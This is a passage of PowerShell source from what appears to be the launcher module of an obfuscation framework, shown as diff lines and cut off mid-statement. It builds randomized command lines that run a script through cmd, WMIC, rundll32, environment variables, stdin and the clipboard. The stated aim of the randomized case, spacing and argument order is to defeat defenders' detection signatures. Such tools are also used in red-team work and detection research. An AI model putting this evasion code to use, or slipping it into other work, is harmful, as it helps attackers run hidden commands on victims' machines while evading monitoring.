an unbalanced number of double quotes ($NumberOfDoubleQuotes).`n Try applying STRING or ENCODING obfuscation options first to encode the double quotes.`n" + Start-Sleep 1 + Return $ScriptString + } + + # If no $LaunchType is specified then randomly choose from options 3-20. + If($LaunchType -eq 0) + { + $LaunchType = Get-Random -Input @(3..12) + } + + # Select launcher syntax. + Switch($LaunchType) + { + 1 { + ######## + ## PS ## + ######## + + # Undo some escaping from beginning of function. + ForEach($Char in $CharsToEscape) + { + If($ScriptString.Contains("^^^$Char")) {$ScriptString = $ScriptString.Replace("^^^$Char",$Char)} + } + If($ScriptString.Contains('^^^^')) + { + $ScriptString = $ScriptString.Replace('^^^^','^') + } + + # Build out command line syntax in reverse so we can display the process argument tree at the end of this Switch block. + $PSCmdSyntax = $PowerShellFlags + '"' + $ScriptString + '"' + + # Set argument info for process tree output after this Switch block. + $ArgsDefenderWillSee += , @($PathToPowerShell, $PSCmdSyntax) + + $CmdLineOutput = $PathToPowerShell + $PSCmdSyntax + } + 2 { + ######### + ## CMD ## + ######### + + # Undo some escaping from beginning of function. + ForEach($Char in $CharsToEscape) + { + If($ScriptString.Contains("^^^$Char")) {$ScriptString = $ScriptString.Replace("^^^$Char",$Char)} + If($ScriptString.Contains("^$Char")) {$ScriptString = $ScriptString.Replace("^$Char","^^^$Char")} + } + If($ScriptString.Contains('^^^^')) + { + $ScriptString = $ScriptString.Replace('^^^^','^') + } + + # Build out command line syntax in reverse so we can display the process argument tree at the end of this Switch block. + $PSCmdSyntax = $PowerShellFlags + '"' + $ScriptString + '"' + $CmdSyntax = $SlashC + ' '*(Get-Random -Minimum 0 -Maximum 4) + $PathToPowerShell + $PSCmdSyntax + + # Set argument info for process tree output after this Switch block. + $ArgsDefenderWillSee += , @($PathToCmd , $CmdSyntax) + $ArgsDefenderWillSee += , @($PathToPowerShell, $PSCmdSyntax) + + $CmdLineOutput = $PathToCmd + $CmdSyntax + } + 3 { + ########## + ## WMIC ## + ########## + + # WMIC errors when variables contain more than 2 adjacent whitespaces in variable names. Thus we are escaping them here. + For($i=1; $i -le 12; $i++) + { + $StringToReplace = '${' + ' '*$i + '}' + If($ScriptString.Contains($StringToReplace)) + { + $ScriptString = $ScriptString.Replace($StringToReplace,$StringToReplace.Replace(' ','\ ')) + } + } + + # Undo escaping from beginning of function. $CharsToEscape is defined at beginning of this function. + ForEach($Char in $CharsToEscape) + { + While($ScriptString.Contains('^' + $Char)) + { + $ScriptString = $ScriptString.Replace(('^' + $Char),$Char) + } + } + If($ScriptString.Contains('^^^^')) + { + $ScriptString = $ScriptString.Replace('^^^^','^') + } + + # Perform inline substitutions to remove commas from command line for wmic.exe. + If($ScriptString.Contains(',')) + { + # SetVariables will only be used if more than 5 double quotes or more than 5 commas need to be escaped. + $SetVariables = '' + + # Since we are converting the PowerShell command into strings for concatenation we need to escape and double-escape $ for proper variable interpretation by PowerShell. + If($ScriptString.Contains('$')) + { + $ScriptString = $ScriptString.Replace('$','`$') + + # Double escape any $ characters that were already escaped prior to above escaping step. + If($ScriptString.Contains('``$')) + { + $ScriptString = $ScriptString.Replace('``$','```$') + } + } + + # Double escape any escaped " characters. + If($ScriptString.Contains('`"')) + { + $ScriptString = $ScriptString.Replace('`"','``"') + } + + # Substitute double quotes as well if we're substituting commas as this requires treating the entire command as a string by encapsulating it with double quotes. + If($ScriptString.Contains('"')) + { + # Remove all layers of escaping for double quotes as they are no longer necessary since we're casting these double quotes to ASCII values. + While($ScriptString.Contains('\"')) + { + $ScriptString = $ScriptString.Replace('\"','"') + } + + # Randomly select a syntax for the Char conversion of a double quote ASCII value and then ramdomize the case. + $CharCastDoubleQuote = ([Char[]](Get-Random -Input @('[String][Char]34','([Char]34).ToString()')) | ForEach-Object {$Char = $_; If(Get-Random -Input (0..1)){$Char = $Char.ToString().ToUpper()} $Char}) -Join '' + If($ScriptString.Length-$ScriptString.Replace('"','').Length -le 5) + { + # Replace double quote(s) with randomly selected ASCII value conversion representation -- inline concatenation. + $SubstitutionSyntax = ('\"' + ' '*(Get-Random -Minimum 0 -Maximum 3) + '+' + ' '*(Get-Random -Minimum 0 -Maximum 3) + $CharCastDoubleQuote + ' '*(Get-Random -Minimum 0 -Maximum 3) + '+' + ' '*(Get-Random -Minimum 0 -Maximum 3) + '\"') + $ScriptString = $ScriptString.Replace('"',$SubstitutionSyntax).Replace('\"\"+','').Replace('\"\" +','').Replace('\"\" +','').Replace('\"\" +','') + } + Else + { + # Characters we will use to generate random variable names. + # For simplicity do NOT include single- or double-quotes in this array. + $CharsToRandomVarName = @(0..9) + $CharsToRandomVarName += @('A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z') + + # Randomly choose variable name starting length. + $RandomVarLength = (Get-Random -Input @(1..2)) + + # Create random variable with characters from $CharsToRandomVarName. + If($CharsToRandomVarName.Count -lt $RandomVarLength) {$RandomVarLength = $CharsToRandomVarName.Count} + $RandomVarName = ((Get-Random -Input $CharsToRandomVarName -Count $RandomVarLength) -Join '').Replace(' ','') + + # Keep generating random variables until we find one that is not a substring of $ScriptString. + While($ScriptString.ToLower().Contains($RandomVarName.ToLower())) + { + $RandomVarName = ((Get-Random -Input $CharsToRandomVarName -Count $RandomVarLength) -Join '').Replace(' ','') + $RandomVarLength++ + } + + # Randomly decide if the variable name will be concatenated inline or not. + $RandomVarNameMaybeConcatenated = $RandomVarName + If((Get-Random -Input @(0..1)) -eq 0) + { + $RandomVarNameMaybeConcatenated = '(' + (Out-ConcatenatedString $RandomVarName "'") + ')' + } + + # Generate random variable SET syntax. + $RandomVarSetSyntax = @() + $RandomVarSetSyntax += '$' + $RandomVarName + ' '*(Get-Random @(0..2)) + '=' + ' '*(Get-Random @(0..2)) + $CharCastDoubleQuote + $RandomVarSetSyntax += (Get-Random -Input @('Set-Variable','SV','Set')) + ' '*(Get-Random @(1..2)) + $RandomVarNameMaybeConcatenated + ' '*(Get-Random @(1..2)) + '(' + ' '*(Get-Random @(0..2)) + $CharCastDoubleQuote + ' '*(Get-Random @(0..2)) + ')' + + # Randomly choose from above variable syntaxes. + $RandomVarSet = (Get-Random -Input $RandomVarSetSyntax) + + # Replace double quotes with randomly selected ASCII value conversion representation -- variable replacement to save space for high counts of double quotes to substitute. + $SetVariables += $RandomVarSet + ' '*(Get-Random @(1..2)) + ';' + $ScriptString = $ScriptString.Replace('"',"`${$RandomVarName}") + } + } + + # Randomly select a syntax for the Char conversion of a comma ASCII value and then ramdomize the case. + $CharCastComma= ([Char[]](Get-Random -Input @('[String][Char]44','([Char]44).ToString()')) | ForEach-Object {$Char = $_; If(Get-Random -Input (0..1)){$Char = $Char.ToString().ToUpper()} $Char}) -Join '' + If($ScriptString.Length-$ScriptString.Replace(',','').Length -le 5) + { + # Replace commas with randomly selected ASCII value conversion representation -- inline concatenation. + $SubstitutionSyntax = ('\"' + ' '*(Get-Random -Minimum 0 -Maximum 3) + '+' + ' '*(Get-Random -Minimum 0 -Maximum 3) + $CharCastComma + ' '*(Get-Random -Minimum 0 -Maximum 3) + '+' + ' '*(Get-Random -Minimum 0 -Maximum 3) + '\"') + $ScriptString = $ScriptString.Replace(',',$SubstitutionSyntax).Replace('\"\"+','').Replace('\"\" +','').Replace('\"\" +','').Replace('\"\" +','') + } + Else + { + # Characters we will use to generate random variable names. + # For simplicity do NOT include single- or double-quotes in this array. + $CharsToRandomVarName = @(0..9) + $CharsToRandomVarName += @('A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z') + + # Randomly choose variable name starting length. + $RandomVarLength = (Get-Random -Input @(1..2)) + + # Create random variable with characters from $CharsToRandomVarName. + If($CharsToRandomVarName.Count -lt $RandomVarLength) {$RandomVarLength = $CharsToRandomVarName.Count} + $RandomVarName = ((Get-Random -Input $CharsToRandomVarName -Count $RandomVarLength) -Join '').Replace(' ','') + + # Keep generating random variables until we find one that is not a substring of $ScriptString. + While($ScriptString.ToLower().Contains($RandomVarName.ToLower())) + { + $RandomVarName = ((Get-Random -Input $CharsToRandomVarName -Count $RandomVarLength) -Join '').Replace(' ','') + $RandomVarLength++ + } + + # Randomly decide if the variable name will be concatenated inline or not. + $RandomVarNameMaybeConcatenated = $RandomVarName + If((Get-Random -Input @(0..1)) -eq 0) + { + $RandomVarNameMaybeConcatenated = '(' + (Out-ConcatenatedString $RandomVarName "'") + ')' + } + + # Generate random variable SET syntax. + $RandomVarSetSyntax = @() + $RandomVarSetSyntax += '$' + $RandomVarName + ' '*(Get-Random @(0..2)) + '=' + ' '*(Get-Random @(0..2)) + $CharCastComma + $RandomVarSetSyntax += (Get-Random -Input @('Set-Variable','SV','Set')) + ' '*(Get-Random @(1..2)) + $RandomVarNameMaybeConcatenated + ' '*(Get-Random @(1..2)) + '(' + ' '*(Get-Random @(0..2)) + $CharCastComma + ' '*(Get-Random @(0..2)) + ')' + + # Randomly choose from above variable syntaxes. + $RandomVarSet = (Get-Random -Input $RandomVarSetSyntax) + + # Replace commas with randomly selected ASCII value conversion representation -- variable replacement to save space for high counts of commas to substitute. + $SetVariables += $RandomVarSet + ' '*(Get-Random @(1..2)) + ';' + $ScriptString = $ScriptString.Replace(',',"`${$RandomVarName}") + } + + # Encapsulate entire command with escaped double quotes since entire command is now an inline concatenated string to support the above character substitution(s). + $ScriptString = '\"' + $ScriptString + '\"' + + # Randomly decide on invoke operation since we've applied an additional layer of string manipulation in above steps. + # Keep running Out-EncapsulatedInvokeExpression until we get a syntax that does NOT contain commas. + # Examples like .((gv '*mdR*').Name[3,11,2]-Join'') can have their commas escaped like in above step. However, wmic.exe errors with opening [ without a closing ] in the string literal. + $ScriptStringTemp = ',' + While($ScriptStringTemp.Contains(',')) + { + $ScriptStringTemp = Out-EncapsulatedInvokeExpression $ScriptString + } + + # Now that we have an invocation syntax that does not contain commas we will set $ScriptStringTemp's results back into $ScriptString. + $ScriptString = $ScriptStringTemp + + # Prepend with $SetVariables (which will be blank if no variables were set in above sustitution logic depending on the number of double quotes and commas that need to be replaced. + $ScriptString = $SetVariables + $ScriptString + } + + # Generate random case syntax for PROCESS CALL CREATE arguments for WMIC.exe. + $WmicArguments = ([Char[]]'process call create' | ForEach-Object {$Char = $_; If(Get-Random -Input (0..1)){$Char = $Char.ToString().ToUpper()} $Char}) -Join '' + + # Randomize the whitespace between each element of $WmicArguments which randomly deciding between encapsulating each argument with single quotes, double quotes or no quote. + $WmicArguments = (($WmicArguments.Split(' ') | ForEach-Object {$RandomQuotes = (Get-Random -Input @('"',"'",' ')); $RandomQuotes + $_ + $RandomQuotes + ' '*(Get-Random -Minimum 1 -Maximum 4)}) -Join '').Trim() + + # Pair escaped double quotes with a prepended additional double quote so that wmic.exe does not treat the string as a separate argument for wmic.exe but the double quote still exists for powershell.exe's functionality. + If($ScriptString.Contains('\"')) + { + $ScriptString = $ScriptString.Replace('\"','"\"') + } + + # Build out command line syntax in reverse so we can display the process argument tree at the end of this Switch block. + $PSCmdSyntax = $PowerShellFlags + $ScriptString + $WmicCmdSyntax = ' '*(Get-Random -Minimum 1 -Maximum 4) + $WmicArguments + ' '*(Get-Random -Minimum 1 -Maximum 4) + '"' + $PathToPowerShell + $PSCmdSyntax + '"' + + # Set argument info for process tree output after this Switch block. + # Even though wmic.exe will show in command line arguments, it will not be the parent process of powershell.exe. Instead, the already-existing instance of WmiPrvSE.exe will spawn powershell.exe. + $ArgsDefenderWillSee += , @("[Unrelated to WMIC.EXE execution] C:\WINDOWS\system32\wbem\wmiprvse.exe", " -secured -Embedding") + $ArgsDefenderWillSee += , @($PathToPowerShell, $PSCmdSyntax) + + $CmdLineOutput = $PathToWmic + $WmicCmdSyntax + } + 4 { + ############ + ## RUNDLL ## + ############ + + # Shout out and big thanks to Matt Graeber (@mattifestation) for pointing out this method of executing any binary directly from rundll32.exe. + + # Undo escaping from beginning of function. + ForEach($Char in $CharsToEscape) + { + If($ScriptString.Contains("^^^$Char")) {$ScriptString = $ScriptString.Replace("^^^$Char","$Char")} + } + If($ScriptString.Contains('^^^^')) + { + $ScriptString = $ScriptString.Replace('^^^^','^') + } + + # Generate random case syntax for SHELL32.DLL argument for RunDll32.exe. + $Shell32Dll = ([Char[]]'SHELL32.DLL' | ForEach-Object {$Char = $_; If(Get-Random -Input (0..1)){$Char = $Char.ToString().ToUpper()} $Char}) -Join '' + + # Put the execution flags in the format required by rundll32.exe: each argument separately encapusulated in double quotes. + $ExecutionFlagsRunDllSyntax = ($PowerShellFlagsArray | Where-Object {$_.Trim().Length -gt 0} | ForEach-Object {'"' + ' '*(Get-Random -Minimum 0 -Maximum 3) + $_ + ' '*(Get-Random -Minimum 0 -Maximum 3) + '"' + ' '*(Get-Random -Minimum 1 -Maximum 4)}) -Join '' + + # Build out command line syntax in reverse so we can display the process argument tree at the end of this Switch block. + $PSCmdSyntax = ' '*(Get-Random -Minimum 1 -Maximum 4) + $ExecutionFlagsRunDllSyntax + ' '*(Get-Random -Minimum 1 -Maximum 4) + "`"$ScriptString`"" + $RunDllCmdSyntax = ' '*(Get-Random -Minimum 1 -Maximum 4) + $Shell32Dll + (Get-Random -Input @(',',' ', ((Get-Random -Input @(',',',',',',' ',' ',' ') -Count (Get-Random -Input @(4..6)))-Join''))) + 'ShellExec_RunDLL' + ' '*(Get-Random -Minimum 1 -Maximum 4) + "`"$PathToPowerShell`"" + $PSCmdSyntax + + # Set argument info for process tree output after this Switch block. + $ArgsDefenderWillSee += , @($PathToRunDll , $RunDllCmdSyntax) + $ArgsDefenderWillSee += , @("`"$PathToPowerShell`"", $PSCmdSyntax.Replace('^','')) + + $CmdLineOutput = $PathToRunDll + $RunDllCmdSyntax + } + 5 { + ########## + ## VAR+ ## + ########## + + # Undo some escaping from beginning of function. + ForEach($Char in $CharsToEscape) + { + If($ScriptString.Contains("^^^$Char")) {$ScriptString = $ScriptString.Replace("^^^$Char","^$Char")} + } + If($ScriptString.Contains('^^^^')) + { + $ScriptString = $ScriptString.Replace('^^^^','^^') + } + + # Switch cmd.exe escape with powershell.exe escape of double-quote. + If($ScriptString.Contains('\"')) {$ScriptString = $ScriptString.Replace('\"','"')} + + # Choose random syntax for invoking command stored in process-level environment variable. + # Generate random variable name to store the $ScriptString command. + $CharsForVarName = @('a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z') + $VariableName = (Get-Random -Input $CharsForVarName -Count ($CharsForVarName.Count/(Get-Random -Input @(5..10)))) -Join '' + $VariableName = ([Char[]]$VariableName.ToLower() | ForEach-Object {$Char = $_; If(Get-Random -Input (0..1)){$Char = $Char.ToString().ToUpper()} $Char}) -Join '' + + # Generate random syntax for invoking process-level environment variable syntax. + $InvokeVariableSyntax = Out-RandomInvokeRandomEnvironmentVariableSyntax $VariableName + + # Generate random case syntax for setting the above random variable name. + $SetSyntax = ([Char[]]'set' | ForEach-Object {$Char = $_; If(Get-Random -Input (0..1)){$Char = $Char.ToString().ToUpper()} $Char}) -Join '' + $SetSyntax = $SetSyntax + ' '*(Get-Random -Minimum 2 -Maximum 4) + $VariableName + '=' + + # Randomize the case of the following variables. + $SetSyntax = ([Char[]]$SetSyntax.ToLower() | ForEach-Object {$Char = $_; If(Get-Random -Input (0..1)){$Char = $Char.ToString().ToUpper()} $Char}) -Join '' + + # Build out command line syntax in reverse so we can display the process argument tree at the end of this Switch block. + $PSCmdSyntax = $PowerShellFlags + $InvokeVariableSyntax + $CmdSyntax = $SlashC + ' '*(Get-Random -Minimum 0 -Maximum 4) + '"' + $SetSyntax + $ScriptString + '&&' + ' '*(Get-Random -Minimum 0 -Maximum 4) + $PathToPowerShell + $PSCmdSyntax + '"' + + # Set argument info for process tree output after this Switch block. + $ArgsDefenderWillSee += , @($PathToCmd , $CmdSyntax) + $ArgsDefenderWillSee += , @($PathToPowerShell, $PSCmdSyntax.Replace('^','')) + + $CmdLineOutput = $PathToCmd + $CmdSyntax + } + 6 { + ############ + ## STDIN+ ## + ############ + + # Switch cmd.exe escape with powershell.exe escape of double-quote. + If($ScriptString.Contains('\"')) {$ScriptString = $ScriptString.Replace('\"','"')} + + # Choose random syntax for invoking powershell.exe's StdIn. + $PowerShellStdin = Out-RandomPowerShellStdInInvokeSyntax + + # Build out command line syntax in reverse so we can display the process argument tree at the end of this Switch block. + $PSCmdSyntax = $PowerShellFlags + $PowerShellStdin + $CmdSyntax = $SlashC + ' '*(Get-Random -Minimum 0 -Maximum 4) + '"' + ' '*(Get-Random -Minimum 0 -Maximum 3) + $Echo + (Get-Random -Input ('/','\',' '*(Get-Random -Minimum 1 -Maximum 3))) + $ScriptString + ' '*(Get-Random -Minimum 1 -Maximum 3) + '|' + ' '*(Get-Random -Minimum 1 -Maximum 3) + $PathToPowerShell + $PSCmdSyntax + '"' + + # Set argument info for process tree output after this Switch block. + $ArgsDefenderWillSee += , @($PathToCmd , $CmdSyntax) + $ArgsDefenderWillSee += , @($PathToPowerShell, $PSCmdSyntax.Replace('^','')) + + $CmdLineOutput = $PathToCmd + $CmdSyntax + } + 7 { + ########### + ## CLIP+ ## + ########### + + # Switch cmd.exe escape with powershell.exe escape of double-quote. + If($ScriptString.Contains('\"')) {$ScriptString = $ScriptString.Replace('\"','"')} + + # Choose random syntax for invoking powershell.exe's StdIn. + $PowerShellClip = Out-RandomClipboardInvokeSyntax + + # If this launcher is run in PowerShell 2.0 then Single-Threaded Apartment must be specified with -st or -sta. + # Otherwise you will get the following error: "Current thread must be set to single thread apartment (STA) mode before OLE calls can be made." + # Since Invoke-Obfuscation output is designed to run on any PowerShell version then for this launcher we will add the -st/-sta flag to $PowerShellFlags. + + # If selected then the -Command flag needs to remain last (where it currently is). + $CommandFlagValue = $NULL + If($PSBoundParameters['Command'] -OR $Command) + { + $UpperLimit = $PowerShellFlagsArray.Count-1 + $CommandFlagValue = $PowerShellFlagsArray[$PowerShellFlagsArray.Count-1] + } + Else + { + $UpperLimit = $PowerShellFlagsArray.Count + } + + # Re-extract PowerShellFlags so we can add in -st/-sta and then reorder (maintaining command flag at the end if present). + $PowerShellFlags = @() + For($i=0; $i -lt $UpperLimit; $i++) + { + $PowerShellFlags += $PowerShellFlagsArray[$i] + } + + # Add in -st/-sta to PowerShellFlags. + $PowerShellFlags += (Get-Random -Input @('-st','-sta')) + + # Randomize the order of the command-line arguments. + # This is to prevent the Blue Team from placing false hope in simple signatures for consistent ordering of these arguments. + If($PowerShellFlags.Count -gt 1) + { + $PowerShellFlags = Get-Random -InputObject $PowerShellFlags -Count $PowerShellFlags.Count + } + + # If selected then the -Command flag needs to be added last. + If($CommandFlagValue) + { + $PowerShellFlags += $CommandFlagValue + } + + # Randomize the case of all command-line arguments. + For($i=0; $i -lt $PowerShellFlags.Count; $i++) + { + $PowerShellFlags[$i] = ([Char[]]$PowerShellFlags[$i] | ForEach-Object {$Char = $_.ToString().ToLower(); If(Get-Random -Input @(0..1)) {$Char = $Char.ToUpper()} $Char}) -Join '' + } + + # Insert random-length whitespace between all command-line arguments. + $PowerShellFlags = ($PowerShellFlags | ForEach-Object {$_ + ' '*(Get-Random -Minimum 1 -Maximum 3)}) -Join '' + $PowerShellFlags = ' '*(Get-Random -Minimum 1 -Maximum 3) + $PowerShellFlags + ' '*(Get-Random -Minimum 1 -Maximum 3) + + # Build out command line syntax in reverse so we can display the process argument tree at the end of this Switch block. + $PSCmdSyntax = $PowerShellFlags + $PowerShellClip + $CmdSyntax = $SlashC + ' '*(Get-Random -Minimum 0 -Maximum 4) + '"' + ' '*(Get-Random -Minimum 0 -Maximum 3) + $Echo + (Get-Random -Input ('/','\',' '*(Get-Random -Minimum 1 -Maximum 3))) + $ScriptString + ' '*(Get-Random -Minimum 0 -Maximum 2) + '|' + ' '*(Get-Random -Minimum 0 -Maximum 2) + $PathToClip + ' '*(Get-Random -Minimum 0 -Maximum 2) + '&&' + ' '*(Get-Random -Minimum 1 -Maximum 3) + $PathToPowerShell + $PSCmdSyntax + '"' + + # Set argument info for process tree output after this Switch block. + $ArgsDefenderWillSee += , @($PathToCmd , $CmdSyntax) + $ArgsDefenderWillSee += , @($PathToPowerShell, $PSCmdSyntax.Replace('^','')) + + $CmdLineOutput = $PathToCmd + $CmdSyntax + } + 8 { + ########### + ## VAR++ ## + ########### + + # Undo some escaping from beginning of function. + ForEach($Char in $CharsToEscape) + { + If($ScriptString.Contains("^^^$Char")) {$ScriptString = $ScriptString.Replace("^^^$Char","^$Char")} + } + If($ScriptString.Contains('^^^^')) + { + $ScriptString = $ScriptString.Replace('^^^^','^^') + } + + # Switch cmd.exe escape with powershell.exe escape of double-quote. + If($ScriptString.Contains('\"')) {$ScriptString = $ScriptString.Replace('\"','"')} + + # Choose random syntax for invoking command stored in process-level environment variable. + # Generate random variable names to store the $ScriptString command and PowerShell syntax. + $CharsForVarName = @('a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z') + $VariableName = (Get-Random -Input $CharsForVarName -Count ($CharsForVarName.Count/(Get-Random -Input @(5..10)))) -Join '' + $VariableName = ([Char[]]$VariableName.ToLower() | ForEach-Object {$Char = $_; If(Get-Random -Input (0..1)){$Char = $Char.ToString().ToUpper()} $Char}) -Join '' + $VariableName2 = (Get-Random -Input $CharsForVarName -Count ($CharsForVarName.Count/(Get-Random -Input @(5..10)))) -Join '' + $VariableName2 = ([Char[]]$VariableName2.ToLower() | ForEach-Object {$Char = $_; If(Get-Random -Input (0..1)){$Char = $Char.ToString().ToUpper()} $Char}) -Join '' + + # Generate random case syntax for setting the above random variable names. + $SetSyntax = ([Char[]]'set' | ForEach-Object {$Char = $_; If(Get-Random -Input (0..1)){$Char = $Char.ToString().ToUpper()} $Char}) -Join '' + $SetSyntax = $SetSyntax + ' '*(Get-Random -Minimum 2 -Maximum 4) + $VariableName + '=' + $SetSyntax2 = ([Char[]]'set' | ForEach-Object {$Char = $_; If(Get-Random -Input (0..1)){$Char = $Char.ToString().ToUpper()} $Char}) -Join '' + $SetSyntax2 = $SetSyntax2 + ' '*(Get-Random -Minimum 2 -Maximum 4) + $VariableName2 + '=' + + # Randomize the case of the following variables. + $SetSyntax = ([Char[]]$SetSyntax.ToLower() | ForEach-Object {$Char = $_; If(Get-Random -Input (0..1)){$Char = $Char.ToString().ToUpper()} $Char}) -Join '' + $SetSyntax2 = ([Char[]]$SetSyntax2.ToLower() | ForEach-Object {$Char = $_; If(Get-Random -Input (0..1)){$Char = $Char.ToString().ToUpper()} $Char}) -Join '' + $VariableName = ([Char[]]$VariableName.ToLower() | ForEach-Object {$Char = $_; If(Get-Random -Input (0..1)){$Char = $Char.ToString().ToUpper()} $Char}) -Join '' + $VariableName2 = ([Char[]]$VariableName2.ToLower() | ForEach-Object {$Char = $_; If(Get-Random -Input (0..1)){$Char = $Char.ToString().ToUpper()} $Char}) -Join '' + + # Generate random syntax for invoking process-level environment variable syntax. + $InvokeOption = Out-RandomInvokeRandomEnvironmentVariableSyntax $VariableName + + # Add additional escaping for vertical pipe (and other characters defined below) if necessary since this is going inside an environment variable for the final $CmdLineOutput set below. + ForEach($Char in @('<','>','|','&')) + { + If($InvokeOption.Contains("^$Char")) + { + $InvokeOption = $InvokeOption.Replace("^$Char","^^^$Char") + } + } + + # Build out command line syntax in reverse so we can display the process argument tree at the end of this Switch block. + $PSCmdSyntax = $PowerShellFlags + ' '*(Get-Random -Minimum 1 -Maximum 3) + $InvokeOption + $CmdSyntax2 = $SlashC + ' '*(Get-Random -Minimum 0 -Maximum 2) + "%$VariableName2%" + $CmdSyntax = $SlashC + ' '*(Get-Random -Minimum 0 -Maximum 4) + '"' + $SetSyntax + $ScriptString + '&&' + $SetSyntax2 + $PathToPowerShell + $PSCmdSyntax + '&&' + ' '*(Get-Random -Minimum 0 -Maximum 4) + $PathToCmd + $CmdSyntax2 + '"' + + # Set argument info for process tree output after this Switch block. + $ArgsDefenderWillSee += , @($PathToCmd , $CmdSyntax) + $ArgsDefenderWillSee += , @($PathToCmd , $CmdSyntax2) + $ArgsDefenderWillSee += , @($PathToPowerShell, $PSCmdSyntax.Replace('^','')) + + $CmdLineOutput = $PathToCmd + $CmdSyntax + } + 9 { + ############# + ## STDIN++ ## + ############# + + # Switch cmd.exe escape with powershell.exe escape of double-quote. + If($ScriptString.Contains('\"')) {$ScriptString = $ScriptString.Replace('\"','"')} + + # Choose random syntax for invoking command stored in process-level environment variable. + # Generate random variable names to store the $ScriptString command and PowerShell syntax. + $CharsForVarName = @('a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z') + $VariableName = (Get-Random -Input $CharsForVarName -Count ($CharsForVarName.Count/(Get-Random -Input @(5..10)))) -Join '' + $VariableName = ([Char[]]$VariableName.ToLower() | ForEach-Object {$Char = $_; If(Get-Random -Input (0..1)){$Char = $Char.ToString().ToUpper()} $Char}) -Join '' + $VariableName2 = (Get-Random -Input $CharsForVarName -Count ($CharsForVarName.Count/(Get-Random -Input @(5..10)))) -Join '' + $VariableName2 = ([Char[]]$VariableName2.ToLower() | ForEach-Object {$Char = $_; If(Get-Random -Input (0..1)){$Char = $Char.ToString().ToUpper()} $Char}) -Join '' + + # Generate random case syntax for setting the above random variable names. + $SetSyntax = ([Char[]]'set' | ForEach-Object {$Char = $_; If(Get-Random -Input (0..1)){$Char = $Char.ToString().ToUpper()} $Char}) -Join '' + $SetSyntax = $SetSyntax + ' '*(Get-Random -Minimum 2 -Maximum 4) + $VariableName + '=' + $SetSyntax2 = ([Char[]]'set' | ForEach-Object {$Char = $_; If(Get-Random -Input (0..1)){$Char = $Char.ToString().ToUpper()} $Char}) -Join '' + $SetSyntax2 = $SetSyntax2 + ' '*(Get-Random -Minimum 2 -Maximum 4) + $VariableName2 + '=' + + # Generate numerous ways to invoke with $ExecutionContext as a variable, including Get-Variable varname, Get-ChildItem Variable:varname, Get-Item Variable:varname, etc. + $ExecContextVariable = @() + $ExecContextVariable += '(' + (Get-Random -Input @('DIR','Get-ChildItem','GCI','ChildItem','LS','Get-Item','GI','Item')) + ' ' + 'variable:' + (Get-Random -Input @('Ex*xt','E*t','*xec*t','*ecu*t','*cut*t','*cuti*t','*uti*t','E*ext','E*xt','E*Cont*','E*onte*','E*tex*','ExecutionContext')) + ').Value' + # Select random option from above. + $ExecContextVariable = Get-Random -Input $ExecContextVariable + + # Generate numerous ways to invoke command stored in environment variable. + $GetRandomVariableSyntax = @() + $GetRandomVariableSyntax += '(' + (Get-Random -Input @('DIR','Get-ChildItem','GCI','ChildItem','LS','Get-Item','GI','Item')) + ' ' + 'env:' + $VariableName + ').Value' + $GetRandomVariableSyntax += ('(' + '[Environment]::GetEnvironmentVariable(' + "'$VariableName'" + ',' + "'Process'" + ')' + ')') + # Select random option from above. + $GetRandomVariableSyntax = Get-Random -Input $GetRandomVariableSyntax + + # Generate random Invoke-Expression/IEX/$ExecutionContext syntax. + $InvokeOptions = @() + $InvokeOptions += (Get-Random -Input ('IEX','Invoke-Expression')) + ' '*(Get-Random -Minimum 1 -Maximum 3) + $GetRandomVariableSyntax + $InvokeOptions += (Get-Random -Input @('$ExecutionContext','${ExecutionContext}',$ExecContextVariable)) + '.InvokeCommand.InvokeScript(' + ' '*(Get-Random -Minimum 0 -Maximum 3) + $GetRandomVariableSyntax + ' '*(Get-Random -Minimum 0 -Maximum 3) + ')' + # Select random option from above. + $InvokeOption = Get-Random -Input $InvokeOptions + + # Randomize the case of the following variables. + $SetSyntax = ([Char[]]$SetSyntax.ToLower() | ForEach-Object {$Char = $_; If(Get-Random -Input (0..1)){$Char = $Char.ToString().ToUpper()} $Char}) -Join '' + $SetSyntax2 = ([Char[]]$SetSyntax2.ToLower() | ForEach-Object {$Char = $_; If(Get-Random -Input (0..1)){$Char = $Char.ToString().ToUpper()} $Char}) -Join '' + $VariableName = ([Char[]]$VariableName.ToLower() | ForEach-Object {$Char = $_; If(Get-Random -Input (0..1)){$Char = $Char.ToString().ToUpper()} $Char}) -Join '' + $VariableName2 = ([Char[]]$VariableName2.ToLower() | ForEach-Object {$Char = $_; If(Get-Random -Input (0..1)){$Char = $Char.ToString().ToUpper()} $Char}) -Join '' + $InvokeOption = ([Char[]]$InvokeOption.ToLower() | ForEach-Object {$Char = $_; If(Get-Random -Input (0..1)){$Char = $Char.ToString().ToUpper()} $Char}) -Join '' + $ExecContextVariable = ([Char[]]$ExecContextVariable.ToLower() | ForEach-Object {$Char = $_; If(Get-Random -Input (0..1)){$Char = $Char.ToString().ToUpper()} $Char}) -Join '' + $GetRandomVariableSyntax = ([Char[]]$GetRandomVariableSyntax.ToLower() | ForEach-Object {$Char = $_; If(Get-Random -Input (0..1)){$Char = $Char.ToString().ToUpper()} $Char}) -Join '' + + # Generate random syntax for invoking process-level environment variable syntax. + $InvokeVariableSyntax = Out-RandomInvokeRandomEnvironmentVariableSyntax $VariableName + + # Choose random syntax for invoking powershell.exe's StdIn. + $PowerShellStdin = Out-RandomPowerShellStdInInvokeSyntax + + # Undo some escaping from beginning of function. + ForEach($Char in $CharsToEscape) + { + If($ScriptString.Contains("^^^$Char")) {$ScriptString = $ScriptString.Replace("^^^$Char","^$Char")} + + If($PowerShellStdin.Contains("^$Char")) {$PowerShellStdin = $PowerShellStdin.Replace("^$Char","^^^$Char")} + } + If($ScriptString.Contains('^^^^')) + { + $ScriptString = $ScriptString.Replace('^^^^','^^') + } + + # Build out command line syntax in reverse so we can display the process argument tree at the end of this Switch block. + $PSCmdSyntax = $PowerShellFlags + ' '*(Get-Random -Minimum 1 -Maximum 3) + $PowerShellStdin + ' '*(Get-Random -Minimum 0 -Maximum 3) + $CmdSyntax2 = $SlashC + ' '*(Get-Random -Minimum 0 -Maximum 